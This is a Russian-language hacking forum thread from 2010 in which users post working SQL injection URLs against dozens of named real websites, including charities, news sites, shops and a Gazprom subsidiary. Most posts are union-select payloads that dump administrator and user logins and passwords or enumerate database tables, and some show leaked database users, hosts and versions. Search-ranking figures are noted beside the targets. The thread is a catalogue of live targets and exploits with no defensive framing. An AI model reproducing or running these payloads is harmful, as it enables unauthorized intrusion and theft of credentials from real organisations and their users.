ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #12271  
Старый 01.06.2010, 01:00
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

http://www.pearcecollections.us/fa_ind.php?fid=-51'+union+select+1,2,3,4,5,version(),7,8,9,10,11,1 2,13,14,15,16,17+--+

version 5
 
Ответить с цитированием

  #12272  
Старый 01.06.2010, 12:06
qq6ka
Познающий
Регистрация: 21.05.2010
Сообщений: 37
Провел на форуме:
167126

Репутация: 55
По умолчанию

РАЗВЛЕКАТЕЛЬНЫЙ ЦЕНТР POZITIV PARK!

Код:
http://www.pozitiv-park.com/index.php?pid=-1+union+select+1,2,3,4,5,concat_ws(0x2a,login,password),7+FROM+auth+limit+0,1--

200 http://www.pozitiv-park.com/admin/
 
Ответить с цитированием

  #12273  
Старый 01.06.2010, 15:51
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию

ms_access

http://www.simonscomputers.co.uk/support/faq_mail.asp?category=edu&ID=-1436+union+select+1,2+from+"table"
 
Ответить с цитированием

  #12274  
Старый 02.06.2010, 01:53
Bb0y
Участник форума
Регистрация: 30.10.2009
Сообщений: 103
Провел на форуме:
736224

Репутация: 388
Отправить сообщение для Bb0y с помощью ICQ Отправить сообщение для Bb0y с помощью Yahoo
По умолчанию

Цитата:
http://wap2emo.ru/mail.php?id=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,column_name ,13+from+information_schema.columns+where+table_na me=0x7573657273+--
mySQL 5.0.92
Код:
http://wap2emo.ru/mail.php?id=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(0x3a,uid,login,pass),13+from+users+--
 
Ответить с цитированием

  #12275  
Старый 02.06.2010, 04:16
qq6ka
Познающий
Регистрация: 21.05.2010
Сообщений: 37
Провел на форуме:
167126

Репутация: 55
По умолчанию

http://www.hockeydb.com/ihdb/stats/pdisplay.php?pid=-1+union+select+concat_ws(0x2a,user(),version(),dat abase()),2,3,4,5,6,7--
 
Ответить с цитированием

  #12276  
Старый 02.06.2010, 13:51
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
Провел на форуме:
961428

Репутация: 662
Отправить сообщение для DezMond™ с помощью ICQ
По умолчанию

rap-al.org pr5
Код:
http://www.rap-al.org/index.php?seccion=5&f=edicion.php&id_publicacion=1&id_edicion=-59+union+select+1,2,3,concat_ws(0x3a3a,id_contact,user,password,id_group),5+from+adm_usuarios+limit+1,1+--+
fundacionconama.org
Код:
http://www.fundacionconama.org/view/index.php?idnavegacion=105&npag=6&idnoticia=-759+unIOn+sELEct+1,2,3,4,5,6,7,8,concat_ws(0x3a3a,login,password),10,11,12,13,14,15,16,17,18,19,20,21,22+from+usuarios+limit+4,1+--+&idpagina=8'
laelallibreria.com pr4
Код:
http://www.laelallibreria.com/php/buscar22.php?name=Geografia&&name2=-11'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+information_schema.tables+--+&&idioma=1
sodepaz.org pr6
Код:
http://www.sodepaz.org/palestina/index.php?mod=noticias&idNoticia=-8+union+select+1,2,3,4,5,6,group_concat(column_name),8,9,10+from+information_schema.columns+where+table_name=0x7068706C6973745F61646D696E+--+&tipo=completa
fundacionvicenteferrer.org pr6
Код:
http://www.fundacionvicenteferrer.org/esp/index.php/utils/adjuntos/home.php?s=-46+union+select+1,2,3,4,5,concat_ws(0x3a3a,login,password),7,8,9+from+admin+--+&tipo=hemeroteca&idNoticia=8
costuraperfeita.com.br pr4
Код:
http://www.costuraperfeita.com.br/ultimas/mostrar_noticia.php?id=-3372'+union+select+1,2,3,4,5,6+--+
delphi7.info pr2
Код:
http://delphi7.info/?module=articles&id=-5'+union+select+1,2,3,concat_ws(0x3a3a,ID_MEMBER,memberName,lastLogin,realName,passwd,emailAddress,websiteUrl,ICQ),5+from+smf_members+limit+1,1+--+
java.gmobile.ru pr1
Код:
http://java.gmobile.ru/?content=browse&id=4+union+select+1,2,3,4,concat_ws(0x3a3a,id_account,name,pass)+from+system_accounts+--+
radioscanner.ru pr4 tic550
Код:
http://www.radioscanner.ru/rating/item/-537'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+airbase_accepts+--+/
fagga.com.br pr5
Код:
http://www.fagga.com.br/ingles/noticias/index.php?id_noticia=-53'+union+select+1,2,3,4,5,6+--+
saberviver.org.br pr4
Код:
http://www.saberviver.org.br/index.php?g_edicao=-apoio_psicologico'+union+select+1,2,3,4,5,6,7,8,9+--+
virtualbooks.com.br pr6
Код:
http://www.virtualbooks.com.br/v2/melhores_autores/?cod=-00058'+union+select+1,2,3,4,concat_ws(0x3a3a,login,senha),6+from+login+--+
horizontegeografico.com.br pr5
Код:
http://www.horizontegeografico.com.br/index.php?acao=exibirSecao&secao[id_secao]=-65+union+select+1,2,3,4,5,6,7,concat_ws(0x3a3a,id_usuario,nome,login,senha,email,admin,ativo),9,10,11,12,13,14,15,16,17,18,19,20,21+from+usuario+/*+
boalembranca.com.br pr5
Код:
http://www.boalembranca.com.br/materias/ler.php?cod=-147'+union+select+1,2,3,4,5,6,7,8+--+
suprasoy.com.br pr3
Код:
http://www.suprasoy.com.br/index.php?secao=imprensa_interna&id_noticia=-57'+union+select+1,2,3,4,5,concat_ws(0x3a3a,id,nome,email,login,senha,endereco,numero),7+from+download_center_login+limit+4,1+--+
ciclismosc.com.br pr4
Код:
http://www.ciclismosc.com.br/index.php?cod_local=12&id_noticia=-1779+union+select+1,2,3,4+--+
viqui.com.br pr3
Код:
http://www.viqui.com.br/index.php?cmd=link&linCodigo=-132+union+select+1,2,3,4,5+from+usuario+-   -+
joinvilleinspecaoveicular.com.br pr2
Код:
http://www.joinvilleinspecaoveicular.com.br/index.php?cat=noticias&id_noticia=-7250+union+selec   t+1,2,3,4,5,6,7,8+--+
clockshop.ru pr4 tic210
Код:
http://www.clockshop.ru/popupretail.php?retail=-2+union+select+1,2,3,4+from+settings+--+
cfeedayplanner.com pr5
Код:
http://www.cfeedayplanner.com/en/links.php?a=l&title=Education%20and20Training&id=-337'+union+select+1,2+--+
antitrick.com pr2
Код:
http://antitrick.com/rep.php?pid=-79+union+select+1,2,3,4,5,6,concat_ws(0x3a3a,id_usuario,Apodo   ,Correo_usuario,Pais,Acepta_contacto)+from+usuario+--+
marathonwatch.com pr4
Код:
http://www.marathonwatch.com/site/catalog.php?pid=-ww194007'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+--+
positive.rs pr5
Код:
http://www.positive.rs/racunari.php?&id_tip_komp=-163'+union+select+1,2,concat_ws(0x3a3a,id,use   rname,password,options,active,date,name,grad),4,5,6+from+bnl_users+--+&artikal=11115
hangmester.hu pr4
Код:
http://www.hangmester.hu/start.php?page=szeria&szeria=-165+union+select+1,2,3,concat_ws(0x3a3a,   nev,jelszo),5,6,7,8,9,10,11,12,13,14,15,16+from+admin+limit+0,1+--+
fucinadelcaos.com
Код:
http://www.fucinadelcaos.com/start.php?code_arti=-6+union+select+concat_ws(0x3a3a,id,username,p   assword)+from+members+limit+1,1+--+&direzione=list_articoli.php
matplus.net pr3
Код:
http://www.matplus.net/pub/start.php?px=1201676259&app=forum&act=posts&fid=tt&tid=-290+union+se   lect+1,2,3,4,5,6,concat_ws(0x3a3a,id,uid,datum,count,user,stamp),8,9,10,11+from+a_logins+--+
flyvip.ru
Код:
http://flyvip.ru/index.php?option=gallery&Itemid=8&page=inline&id=23&catid=-1+union+select+1,2,   3,4,unhex(hex(uSEr())),6,7,8,9,10+--+&limitstart=2
info21.ru pr1
Код:
http://info21.ru/second.php?id=-53'+union+select+1,2,3,4+--+
lcc-moscow.ru pr4
Код:
http://www.lcc-moscow.ru/news.php?id=-1636+union+select+1,2,concat_ws(0x3a3a,id,login,pass,fio,   agent),4,5,6,7+from+turizm_user+--+
student-avia.ru pr4
Код:
http://www.student-avia.ru/news.php?s=-3'+union+select+1,2,3,concat_ws(0x3a3a,login,pass),5+fro   m+users+--+
oxothik.ru pr2 tic50
Код:
http://oxothik.ru/index.php?action=news&id=-81+union+select+1,2,3,4,5,6,7+--+
horrorworld.ru pr3 tic40
Код:
http://horrorworld.ru/read.php?id_author_text=-417+union+select+1,concat_ws(0x3a3a,login,pass),   3,4,5,6,7,8,9,10,11,12,13+from+users+--+&PHPSESSID=65c30a17ce14c4d9c199735c2794d829
7v1spb.ru pr3
Код:
http://www.7v1spb.ru/second.php?id=7&razdel=-1+union+select+1,table_name,3+from+information_sch   ema.tables+--+
bohlweki.co.za pr4
Код:
http://www.bohlweki.co.za/librarybycat.php?cat_UID=-1+union+select+1,concat_ws(0x3a3a,u_name,p_   word,U_ID),3,4,5,6,7,8,9+from+users+--+
topbelladonna.com pr2
Код:
http://www.topbelladonna.com/personal.php?id=-3539+union+select+concat_ws(0x3a3a,id,login,passw   ord)+from+roots+--+&lang=en
mapb.ru pr3 tic90
Код:
http://www.mapb.ru/?prm=-14+union+select+user(),2,3+--+
cardworld.ru pr4 tic30
Код:
http://www.cardworld.ru/view.php?news=-346'+union+select+1,2,3,4,5,6,7+--+
banktech.ru pr5 tic90
Код:
http://banktech.ru/view.php?news=-383'+union+select+1,2,3,4,group_concat(table_name),6,7+from+i   nformation_schema.tables+--+
leninetz-bt.ru pr3 tic40
Код:
http://www.leninetz-bt.ru/content.php?s=-17'+union+select+concat_ws(0x3a3a,login,password,name,   rights)+from+leninets_users+--+
sibohrana.ru
Код:
http://sibohrana.ru/news.php?action=view&id=-11+union+select+1,2,3,concat_ws(0x3a3a,id,uname,pa   ss,date),5+from+elekon_users_tbl+--+
ascod.ru pr3 tic90
Код:
http://www.ascod.ru/news/news.php?id=-56+union+select+1,2,3,4,5+--+
morekisok.ru pr3
Код:
http://www.morekisok.ru/mos/devochki/ankets/-63'+union+select+1,2,3,4,5,6,concat_ws(0x3a3a,logi   n,password),8,9+from+users+--+/
avtonom77.ru pr4 tic120
Код:
http://avtonom77.ru/product/-217+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,2   0,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38+--+
servistroi.ru
Код:
http://servistroi.ru/index.php?id_typ=-87+union+select+1,2,3,4,5,6,table_name,8,9,10,11,12,13,1   4,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+information_schema.tables+--+
cifrovojlider.ru
Код:
http://cifrovojlider.ru/show_good.php?idtov=-1260'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,1   4,15,16,17,18+--+
csadv.ru pr3 tic50
Код:
http://www.csadv.ru/?p_id=-34+union+select+concat_ws(0x3a3a,id,login,password,name,sections,ite   ms)+from+qtyrs_users+limit+1,1+--+
mashin.ru pr5 tic210
Код:
http://www.mashin.ru/jurnal/newsbody.php?idnews=-00076+union+select+1,2,3,concat_ws(0x3a3a,name   ,password)+from+users+--+&news=newsast&id=2'
mfish.vzmorie.ru
Код:
http://mfish.vzmorie.ru/second.php?begin=-26+union+select+1,2,3,4,5,6,7+--+
lilywashere.ru pr3
Код:
http://www.lilywashere.ru/second.php?id_parent=-33+union+select+1,2,3,4,5,6+--+&id=3
lanacion.com.ve pr5
Код:
http://www.lanacion.com.ve/lis_n_sec.php?CId=-11+union+select+1,2,3,4,table_name,6,7,8,9,10+fro   m+information_schema.tables+--+
poxudenie.info
Код:
http://www.poxudenie.info/site/cat.php?razdel=-7+union+select+1,database(),3+--+&p=2
logiseine.fr pr3
Код:
http://www.logiseine.fr/fr/html/fiche_logt_vente.php?id=-3+union+select+1,2,3,4,5,6,7,8,9,10,11   +--+
mira.co.il pr4
Код:
http://www.mira.co.il/AyalaBar.php?catid=-7+union+select+1,2,3,user(),5,6,7,8+--+
valorplast.com pr5
Код:
http://www.valorplast.com/Front/index.php?RID=197&AID=-44+union+select+1,2,3,4,5,6,7,8,9,10,11,   12,13,14+from+hosting+--+
ecodem3d.fr
Код:
http://www.ecodem3d.fr/actu/article.php?id_art=-2+union+select+1,2,3,4,5,6,7,8,9,10,11+from+inf   ormation_schema.tables+--+
theatredenimes.com pr5
Код:
http://www.theatredenimes.com/pub_1.php?id=-54'+union+select+1,2,3,4,table_name,6,7,8+from+info   rmation_schema.tables+--+
vernaison.fr pr2
Код:
http://www.vernaison.fr/fiche_entreprise.php?id=-108+union+select+1,2,3,4,5,6,7,concat_ws(0x3a3   a,email,nom_site,url_site,login,pass,statut),9,10,11+from+spip_auteurs+--+
cc-rhuys.lacommunautedecommunes.fr pr2
Код:
http://cc-rhuys.lacommunautedecommunes.fr/communaute/article_menu_explication.php?id_art=-22114   '+union+select+1,2,3,4,5,concat_ws(0x3a3a,id,email,nom,mdp,droit,nom_prenom,fonction,signature,   signature_defaut,page_defaut),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29   ,30,31,32,33,34,35,36,37,38,39+from+admin+/*+
clddm.com pr4
Код:
http://www.clddm.com/fiche_entreprise.php?e_id=-135'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13   ,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,conc   at_ws(0x3a3a,LeUser,pass,droits,idMediatheque,Nom,Prenom,Courriel),45,46,47,48,49,50,51,52,53,5   4+from+admin+--+
ftlb.be pr5
Код:
http://www.ftlb.be/en/attractions/musee/liste.php?tous=1&pay_id=-10+union+select+1,2,table_name   ,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,3   7,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,   69,70+from+information_schema.tables+--+
documentation.ird.fr pr7
Код:
http://www.documentation.ird.fr/fdi/liste.php?annee=-2009+union+select+1,2,3,4,5,6,7,8,9,10,11,   12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43   ,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65+--+&dom=sva&typ=art
PS всё проверил на баяны!
 
Ответить с цитированием

  #12277  
Старый 02.06.2010, 21:35
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию

http://www.piemontelifesciences.org/op.php?IDM=61&ID=-136+union+select+1,aes_decrypt(aes_encrypt(concat_ ws(0x3a,user(),version(),database(),@@version_comp ile_os),1),1),3,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21
 
Ответить с цитированием

  #12278  
Старый 03.06.2010, 07:32
EoGeneo
Познающий
Регистрация: 29.08.2009
Сообщений: 75
Провел на форуме:
315861

Репутация: 5
Отправить сообщение для EoGeneo с помощью ICQ
По умолчанию

http://www.msk-tr.gazprom.ru/news/jubilee/item.php?jubileeID=-43+union+select+1,2,database(),4,user( ),6,7,8,9--

DB: mtg131_main
User: mtg131_main@v22.valuehost.ru
Version: 4.0.27-log
 
Ответить с цитированием

  #12279  
Старый 03.06.2010, 17:13
ZARO
Познающий
Регистрация: 17.04.2009
Сообщений: 59
Провел на форуме:
401944

Репутация: 37
Отправить сообщение для ZARO с помощью ICQ
По умолчанию

www.dragg.ru
Код:
http://www.dragg.ru/index.php?nomer=28+'+UNION+SELECT+1,2,3,4,5,6,concat_ws(0x1a,version(),user(),database()),8,9,10,11,12,13,14+--+
5 ветка.

Код:
http://www.dragg.ru/index.php?nomer=28+'+UNION+SELECT+1,2,3,4,5,6,TABLE_NAME,8,9,10,11,12,13,14+FROM+INFORMATION_SCHEMA.TABLES+--+
таблицы.


Цитата:
http://www.dragg.ru/index.php?nomer=28+'+UNION+SELECT+1,2,3,4,5,6,conc at_ws(0x1a,username,password),8,9,10,11,12,13,14+F ROM+jos_users+--+
юзеры.


www.vizavi-2000.ru


Цитата:
http://www.vizavi-2000.ru/index.php?nomer=-70+'+UNION+SELECT+concat_ws(0x1a,version(),user(), database()),2,3+--+
5 ветка.

Код:
http://www.vizavi-2000.ru/index.php?nomer=-70+'+UNION+SELECT+TABLE_NAME,2,3+FROM+INFORMATION_SCHEMA.TABLES+--+
таблицы.

Последний раз редактировалось Jokester; 03.06.2010 в 17:56.. Причина: читаем правила темы
 
Ответить с цитированием

  #12280  
Старый 03.06.2010, 20:37
wildshaman
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме:
12942062

Репутация: 1550


Отправить сообщение для wildshaman с помощью ICQ
По умолчанию

ТИЦ 240 PR 5
PHP код:
http://www.staroeradio.ru/sr-player.php?id=-13414+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4+from+mysql.user 

ТИЦ 475 ПР 5
PHP код:
http://www.maksmedia.ru/price.htm?indx=42+union+select+1,222,333,concat_ws(0x3a,user(),version(),database()) 
masiaru@localhost:5.0.26-log:masiaru


ТИЦ 325 ПР 6
PHP код:
http://www.baltic-course.com/rus/baltija_sng/?doc=-27167+union+select+concat_ws(0x3a,user(),version(),database()),2,3,4,5,6,7,8,9,10,11,12&ins_print 
balticcourse@localhost:5.0.51a-24+lenny2:balticcourse


ТИЦ 80 ПР 4
PHP код:
http://www.musagetes.com/list.php?start=1&cid=-14+union+select+1,2,concat_ws(0x3a,user(),version(),database()) 
sergey@localhost:5.0.51a-community-nt:konkurs

ТИЦ 275 ПР 4
PHP код:
http://www.tv-digest.ru/week.php?from=2010-2-15&to=-2010-2-21'+union+select+1,2,3,4,unhex(hex(concat_ws(0x3a,user(),version(),database()))),6/* 
w_tvdig@195.42.160.22:5.0.18-1.gms:w_tvdig

Последний раз редактировалось wildshaman; 03.06.2010 в 22:55..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 4 (пользователей: 0 , гостей: 4)
 


Быстрый переход




ANTICHAT.XYZ